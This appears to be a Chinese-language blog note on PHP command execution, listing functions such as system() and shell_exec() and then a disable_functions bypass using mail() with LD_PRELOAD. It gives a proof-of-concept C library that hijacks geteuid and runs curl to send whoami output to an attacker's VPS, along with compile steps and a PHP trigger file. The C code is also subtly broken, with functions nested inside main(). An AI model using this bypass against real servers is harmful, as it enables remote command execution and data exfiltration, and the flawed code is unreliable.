命令执行
命令执行函数
system()
passthru()
exec()
shell_exec()
`反引号`
ob_start()
mail函数+LD_PRELOAD执行系统命令
system("whoami");
passthru("whoami");
exec("whoami");
shell_exec("whoami");
echo `whoami`;
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
mail函数+LD_PRELOAD执行系统命令
可绕过disable_function方法
思路
LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行.
poc文件a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){
void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}
编译
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
mail.php
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>
监听vps的4123端口,访问mail.php。

浙公网安备 33010602011771号